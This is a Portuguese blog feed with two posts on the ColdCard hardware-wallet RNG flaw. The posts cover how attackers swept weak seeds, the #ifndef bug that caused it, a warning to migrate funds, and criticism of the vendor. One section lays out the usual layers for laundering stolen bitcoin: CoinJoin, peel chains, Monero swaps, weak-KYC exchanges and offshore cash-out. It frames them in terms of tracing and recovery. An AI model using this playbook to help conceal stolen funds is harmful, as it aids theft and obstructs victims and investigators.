<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.</p>
<p>No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.</p>
<h2>O que essa classe de bugs significa<span class="hx:absolute hx:-mt-20" id="o-que-essa-classe-de-bugs-significa"></span>
    <a href="#o-que-essa-classe-de-bugs-significa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à <strong>entropia</strong>. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.</p>
<p>Três lições:</p>
<ol>
<li><strong>Não confie na aparência de aleatoriedade.</strong> O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.</li>
<li><strong>Hash não cria entropia.</strong> Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo <code>2^40</code> hashes possíveis. O atacante enumera as entradas, não os hashes.</li>
<li><strong>A blockchain é pública e permanente.</strong> Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.</li>
</ol>
<h2>Dá para pegar o criminoso?<span class="hx:absolute hx:-mt-20" id="dá-para-pegar-o-criminoso"></span>
    <a href="#d%c3%a1-para-pegar-o-criminoso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: &ldquo;será que dá para rastrear quem fez isso?&rdquo;. A resposta curta é: <strong>talvez, mas não é trivial</strong>, e rastrear não é o mesmo que recuperar os bitcoins.</p>
<p>Clay Garrett, que está entre as pessoas investigando o caso, publicou <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">uma thread no X</a> alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com &ldquo;especificidade extraordinária&rdquo;, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.</p>
<p>O que isso significa, <strong>se for confirmado</strong>:</p>
<ul>
<li>Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.</li>
<li>Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.</li>
<li>Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.</li>
<li>Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.</li>
</ul>
<p>Ou seja: a thread aponta para uma linha de investigação promissora, mas <strong>é uma alegação em andamento</strong>, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.</p>
<h2>O que o atacante ainda não fez<span class="hx:absolute hx:-mt-20" id="o-que-o-atacante-ainda-não-fez"></span>
    <a href="#o-que-o-atacante-ainda-n%c3%a3o-fez" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.</p>
<h3>O que seria um mixer, e por que ele não foi usado<span class="hx:absolute hx:-mt-20" id="o-que-seria-um-mixer-e-por-que-ele-não-foi-usado"></span>
    <a href="#o-que-seria-um-mixer-e-por-que-ele-n%c3%a3o-foi-usado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um <strong>mixer</strong> (ou <strong>tumbler</strong>) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de &ldquo;de onde veio&rdquo;.</p>
<p>O modelo clássico é o <strong>CoinJoin</strong>: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como <strong>Wasabi Wallet</strong> e <strong>Samourai Wallet</strong> implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço <strong>Whirlpool</strong>, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.</p>
<p>Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como <strong>Bitcoin Fog</strong> e <strong>Helix</strong> funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.</p>
<p>No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:</p>
<ol>
<li><strong>O atacante ainda está decolando.</strong> Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.</li>
<li><strong>O atacante não esperava tanta visibilidade.</strong> Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.</li>
<li><strong>O atacante pode estar negociando uma recuperação.</strong> Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.</li>
</ol>
<h3>Como se esconde normalmente uma quantia dessas<span class="hx:absolute hx:-mt-20" id="como-se-esconde-normalmente-uma-quantia-dessas"></span>
    <a href="#como-se-esconde-normalmente-uma-quantia-dessas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:</p>
<ol>
<li><strong>CoinJoin em rodadas.</strong> O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.</li>
<li><strong>Peel chain.</strong> Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.</li>
<li><strong>Trocas instantâneas e bridges.</strong> Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.</li>
<li><strong>Exchanges com KYC fraco ou nenhum.</strong> Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.</li>
<li><strong>Fiat off-shore.</strong> O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.</li>
</ol>
<p>Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.</p>
<h3>Por que isso importa agora<span class="hx:absolute hx:-mt-20" id="por-que-isso-importa-agora"></span>
    <a href="#por-que-isso-importa-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.</p>
<p>Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser &ldquo;onde está o dinheiro?&rdquo; e passa a ser &ldquo;quem conseguimos prender?&rdquo;. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.</p>
<p>Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.</p>
<p>A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.</p>
<p>A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.</p>
<p>Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>URGENTE - Se você guarda Bitcoins em ColdCard: MOVA TUDO</title><link>https://www.akitaonrails.com/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 GMT</pubDate><description>&lt;p&gt;Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.&lt;/p&gt;
&lt;p&gt;Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;recebeu 594,47723261 BTC em 501 outputs&lt;/a&gt;. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de &lt;strong&gt;1.000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.</p>
<p>Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC em 501 outputs</a>. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de <strong>1.000 BTC</strong>.</p>
<p>O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.</p>
<blockquote>
  <p>Também não entre em pânico e digite suas 24 palavras no primeiro site que promete &ldquo;verificar ColdCard&rdquo;. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.</p>

</blockquote>
<h2>Quem precisa agir agora<span class="hx:absolute hx:-mt-20" id="quem-precisa-agir-agora"></span>
    <a href="#quem-precisa-agir-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A vulnerabilidade está na <strong>geração da seed</strong>. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.</p>
<blockquote>
  <p><strong>Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado.</strong> As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.</p>

</blockquote>
<p>Segundo o <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">advisory da Coinkite</a> e a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">análise independente da Block</a>, trate como comprometida qualquer seed gerada nestas condições:</p>
<table>
  <thead>
      <tr>
          <th>Aparelho</th>
          <th>Firmware que gerou a seed</th>
          <th>Situação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 até 4.1.9, segundo a Block</td>
          <td>Vulnerável. Migre a seed e aposente o aparelho como gerador.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 até 4.1.9 no advisory da Coinkite; a Block inclui 4.0.0</td>
          <td>Vulnerável. Instale 4.2.0 ou superior antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Anterior a 5.6.0</td>
          <td>Afetado. Atualize antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Anterior a 6.6.0X</td>
          <td>Afetado. Edge é outra linha de release.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Anterior a 1.5.0Q</td>
          <td>Afetado.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Anterior a 6.6.0QX</td>
          <td>Afetado.</td>
      </tr>
  </tbody>
</table>
<p>A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.</p>
<p>Há uma exceção importante: quem acrescentou pelo menos <strong>50 jogadas justas, independentes e privadas de um dado</strong> durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por <strong>este bug isoladamente</strong>. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.</p>
<p>Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.</p>
<blockquote>
  <p><strong>Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo.</strong> O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.</p>

</blockquote>
<p>Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.</p>
<h2>O bug: <code>#ifndef</code> não significa &ldquo;se for verdadeiro&rdquo;<span class="hx:absolute hx:-mt-20" id="o-bug-ifndef-não-significa-se-for-verdadeiro"></span>
    <a href="#o-bug-ifndef-n%c3%a3o-significa-se-for-verdadeiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">post-mortem técnico da Coinkite</a> é uma leitura constrangedora.</p>
<p>Em março de 2021, o firmware trocou <code>ckcc.rng_bytes()</code> por <code>ngu.random.bytes()</code> durante a migração pro libNgU e pro <code>libsecp256k1</code> usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.</p>
<p>O código de build definia:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que a guarda no libNgU verificava isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, <code>rng_get()</code> apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.</p>
<p>Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre &ldquo;gerar nova wallet&rdquo; e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.</p>
<p>No Mk3, a estimativa preliminar da Coinkite é de cerca de <strong>40 bits de entropia efetiva</strong>, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente <strong>72 bits</strong>. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.</p>
<p>Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas <code>2^40</code> entradas possíveis, no máximo existirão <code>2^40</code> hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.</p>
<p>Isso ficou no caminho mais importante do produto por mais de cinco anos.</p>
<h2>Como uma reescrita de 120 arquivos chegou aqui<span class="hx:absolute hx:-mt-20" id="como-uma-reescrita-de-120-arquivos-chegou-aqui"></span>
    <a href="#como-uma-reescrita-de-120-arquivos-chegou-aqui" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert publicou uma timeline</a> que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.</p>
<p>Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do &ldquo;clone&rdquo; e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.</p>
<p>No dia 1 de março veio o commit <code>First pass w/ libNgU</code>: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.</p>
<p>Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar <code>libsecp256k1</code>, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.</p>
<p>Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.</p>
<h2>Isso foi cisne branco, não cisne negro<span class="hx:absolute hx:-mt-20" id="isso-foi-cisne-branco-não-cisne-negro"></span>
    <a href="#isso-foi-cisne-branco-n%c3%a3o-cisne-negro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Já vi gente chamando o caso de &ldquo;black swan&rdquo;, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.</p>
<p>O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O <code>#ifndef</code> errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.</p>
<p>Um black swan é raro, surpreendente e só parece óbvio depois. Este era um <strong>white swan</strong>: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.</p>
<p>E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.</p>
<p>Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">reportaram responsavelmente uma falha crítica de multisig</a>. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.</p>
<p>A <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">política atual de responsible disclosure</a> continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um &ldquo;we are not here to make it easy for you&rdquo;, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.</p>
<p>Zach Herbert também <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documentou ataques públicos de NVK</a> contra a Foundation depois que ela usou código GPL da ColdCard: &ldquo;pure clone&rdquo;, &ldquo;leeches&rdquo; e &ldquo;affinity scamming&rdquo;. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.</p>
<p>Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.</p>
<p>Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.</p>
<h2>Não, &ldquo;IA quebrou o Bitcoin&rdquo; coisa nenhuma<span class="hx:absolute hx:-mt-20" id="não-ia-quebrou-o-bitcoin-coisa-nenhuma"></span>
    <a href="#n%c3%a3o-ia-quebrou-o-bitcoin-coisa-nenhuma" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A Coinkite escreveu que, como o firmware era público, &ldquo;temos que assumir&rdquo; que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.</p>
<p>Depois, NVK publicou <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">um pedido de desculpas em nome da Coinkite</a>. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.</p>
<p>O problema é que ele terminou tentando transformar o desastre numa &ldquo;realidade sóbria do novo paradigma de IA&rdquo;, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.</p>
<p>Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele <code>#ifndef</code>, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.</p>
<p>Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, <code>secp256k1</code>, SHA-256, BIP39 ou Bitcoin.</p>
